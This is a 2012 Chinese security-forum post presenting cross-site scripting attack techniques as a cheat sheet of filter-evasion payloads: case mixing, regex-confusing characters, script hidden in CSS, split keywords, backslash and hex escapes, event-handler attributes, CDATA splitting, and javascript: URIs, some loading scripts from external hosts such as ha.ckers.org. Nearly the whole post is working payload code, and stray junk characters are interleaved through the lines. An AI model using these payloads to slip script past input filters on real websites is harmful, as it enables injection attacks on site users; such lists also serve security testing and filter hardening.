找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2389|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
' ^, o* X* M# M' ?# D& o. e: }( A, n# m+ b) W8 t; R/ f3 N& G2 k
4 ]0 N' @3 ?3 A# n: A* {8 F( Q
/ q( b; m2 _/ _
    <sCript>alert(‘d’)</scRipT>. c( i# @" r$ ^+ ^+ e. M5 Z+ m
6 e% D, {% v; _
2. 利用多加一些其它字符来规避Regular Expression的检查7 w3 z2 \8 D" u2 k
3 E- q& |# ~. K9 N& z1 }7 `# y
    <<script>alert(‘c’)//<</script>
8 Z" n% m( {4 F; W
( j/ b% k0 K; [0 C  ^! X; [$ b6 ~$ o    <SCRIPT a=">" SRC="t.js"></SCRIPT>
8 S0 b, F) s1 p* F' v2 G( [8 r# V
    <SCRIPT =">" SRC="t.js"></SCRIPT>6 H, H7 _3 r9 F9 z9 L
+ ]" `9 g, k6 H6 Z
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
0 s1 K( Q1 _) P* I+ c, K$ v5 R! S
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
$ z" B3 a, U, A* p7 a- u: Q9 m. T6 i; _+ }! P3 q0 C2 u0 w
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
0 ?* i; C) u. J5 Z. g2 D2 a: T7 h8 }$ l& m7 q; o
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
8 _: C' F3 y% n$ W* b2 I, a* N+ o3 H
/ \( i9 X4 G- Q; ^/ [6 n& i! y3. 以其它扩展名取代.js0 k# l) W& l, \6 x1 r

2 R6 s1 T& [6 o% U, E3 p; E9 n0 L    <script src="bad.jpg"></script>5 r2 p) y" q- j# F9 B

  i. q, {3 G0 I" }' h/ I, J4. 将Javascript写在CSS档里9 U' i. ^, k7 ]- o
1 }, _, i6 N: O
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">8 l! h: a: {) B+ u! S1 u: D3 @
" g! w" |4 q: X8 s1 ~' K7 `
       example:6 b7 P' h: {4 `9 e; U6 b- k

4 L, F  e5 `. V7 W: p          body {4 ^* Z6 E# d* w/ `4 P- l/ o
( o  `( e: x4 G: L' s
               background-image: url(‘javascript:alert("XSS");’)
! P9 I6 W( g6 B  M# s% E; C. f1 e' K( t3 ~& S  T# B
          }
) {# ~; h* ?1 ?% |! U) \  L3 _3 Z) e2 W% L- J2 O2 q1 j
5. 在script的tag里加入一些其它字符
2 q/ W6 @" k6 v! q! e' i' M( R4 Q! E) H: d
    <SCRIPT/SRC="t.js"></SCRIPT>
1 I! I% ]- H5 F9 o8 ~! e8 C
% \( s- ]+ [0 C0 x" \4 d0 T  i    <SCRIPT/anyword SRC="t.js"></SCRIPT>' y7 v5 u- n, }* E# Y# ]

' u0 O0 J4 P) v% K6. 使用tab或是new line来规避
7 J" H& Q% w9 g! q5 k7 o: V, B
5 F% L% X, j( B7 N' e2 F+ f( Q2 P    <img src="jav ascr ipt:alert(‘XSS3′)">
! L( Q* q% [9 E8 n5 w! e( r/ z! Q3 Q! q/ Z
    <img src="jav ascr ipt:alert(‘XSS3′)">4 A* L+ I" ^. y$ G& U5 Y
* P+ E, g1 D7 W/ d
    <IMG SRC="jav ascript:alert(‘XSS’);">3 t* y' U: X1 I6 v
* m; ~" L7 b5 i; Z. X# I
         -> tag
2 u) m/ }  D5 h8 p7 f+ B5 m! E
+ w$ D( ^6 ^  Y5 g5 J! J         -> new line
$ A3 Y! G. S& T: i" ]  c' J
9 F$ o2 _# p' z7. 使用"\"来规避7 v* `' T0 [. M3 a0 w

) l1 t- K% y6 j$ u9 X: D    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>* L8 Q9 _% J( d- ~

+ m2 }: L) o4 W; u2 v7 ]    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>/ r9 f* Y+ m3 N  G! z3 D
3 ?. ]7 G; I5 m- S  ]$ p5 y) D) C) v5 B
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
2 Y. d2 X+ D" g% f. Q2 ~3 A& |1 `) D8 p
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">, u# ]; h8 }: V  I; c: p

/ A6 s. c6 S$ k0 o    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>' q4 a5 }9 b" x7 n8 e6 X; G
; k7 S) e8 i2 ~9 D# s' Y4 w
8. 使用Hex encode来规避(也可能会把";"拿掉)) w. ]- S, i3 o/ |7 |

" j0 X6 m% W" D. ^; P" n& E' C    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">" w3 M/ h* A1 y" C" \
; p/ z/ N' r+ |5 d, l
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
. `' V# s0 ^3 a6 N4 ^: \- a" {( K8 R- I  f$ _
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
- ?" j( v# u0 v# `. v- J4 a9 {  Z% H, t
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
" C, h& H2 z7 ^1 |# \; S# q- G7 }
6 ]7 ]4 c4 _% \0 ?. o$ U9. script in HTML tag# R6 \+ ~/ G, ?) _7 H# S6 W! k& k

$ e+ ?6 `; p5 }- x    <body onload=」alert(‘onload’)」>
* k3 k5 F2 d8 A9 W  t
9 Q* c1 P$ N  L; ^% G* C        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload, F8 |  M& ]7 J  d$ U
( V7 R2 D# [; j, @$ s4 b$ m. e
10. 在swf里含有xss的code% w  @: a' ^; m- Q2 |

9 Q( @$ e6 ^+ H% J9 |    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
. L* u, Q& r6 y
8 y4 B$ O6 _3 U( n11. 利用CDATA将xss的code拆开,再组合起来。
# Z7 Q' F' i$ W0 ~# v
, w" j* ~2 I' n$ p) s  o) H    <XML ID=I><X><C>2 E! F- {2 P8 h
& E* o$ r7 @! H  U
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>- p! [2 }* r2 a3 f: H  T- q) q4 t
5 C; T$ H: N  S8 x7 R. |
    </C></X>3 h8 J4 T; ?, u

7 @' t* H+ v) {) O    </xml>- w! g' _2 j8 b

" u; A8 d, d1 {6 ~, H$ h    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
2 K  f! d: e( a* q/ Z
/ J6 s0 v$ V- c* Z) y: S, n' B    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
) P) G$ B  e  W5 j+ t$ I6 b) ]2 X% W
- N+ Q% n& i* N    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>5 P! a8 \9 q( O
* K: O0 Z% H4 `: _
12. 利用HTML+TIME。
6 u" P6 y$ \* N7 ~; w. n; y, v9 H; h% \1 a- o
    <HTML><BODY>. b8 ^5 N6 C  F. Q
+ L% o% a7 X3 O& s. u
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
0 m- q! r% p) {, k, x* z( b
1 q) |# G& D$ m- B$ e4 e6 A    <?import namespace="t" implementation="#default#time2">
0 z# C0 g' }; U* N( q; E5 z4 p& {3 B* Q/ C
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
' S8 B% |- A- r! q# x% ?7 K4 I- s4 y  P" w* M
    </BODY></HTML>$ j9 ?# K% |% C' D. L- @
% I9 d4 w$ I( v
13. 透过META写入Cookie。
" `6 B# ?+ z5 D2 }* Z8 ?, A4 s. D+ c, u# k9 b) O8 z- J# r
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
5 r/ R) {6 C" x( B2 d4 H
1 u5 Q  ^  z8 P% h3 M8 A) X+ _* Z  {6 t14. javascript in src , href , url
% C, ?# B. S  \& n7 {0 Q
0 U) X; }4 U% V0 N6 Z6 }    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
( H' Y0 c1 ~+ c" U/ l/ ~; v
' ~6 w; c! G4 p, H1 u) O    <img src="javascript:alert(‘XSS3′)">
3 {& }" {$ l* `1 m6 R2 }
! c( s& v* i: l- d<IMG DYNSRC="javascript:alert(‘XSS20′)">. i1 P. e" K# p( ?

" m) E& I7 Y+ B5 O$ Q  M    <IMG LOWSRC="javascript:alert(‘XSS21′)">
" d0 I" ^. H: x' R) y. p1 F. E1 t: Z
# _8 V, e. F; m: M1 s5 \    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">/ J& l% A' P! g- I  I' @

  ^. O& R4 K( c9 }    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>5 j, c5 O3 n! \1 o; W$ D
1 m) N( j' v5 K
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">" ~/ Q3 T" M3 u/ j! e

0 ~4 ^3 p' A6 j- n    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
8 M# }. k! q! R# e7 S1 d! b9 C3 d. t$ B# l
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}# q$ ]' Y- ~- o5 }7 G6 v

) e5 s' H9 y. f. r& e    </STYLE><A CLASS=XSS></A>
. J: \" M, X# q' D% \/ s
9 d& Y$ B! k7 A' j) s$ G" i    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
  t! F8 g% e6 K# P+ K3 l+ F' Y, P9 e. r+ K3 N9 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表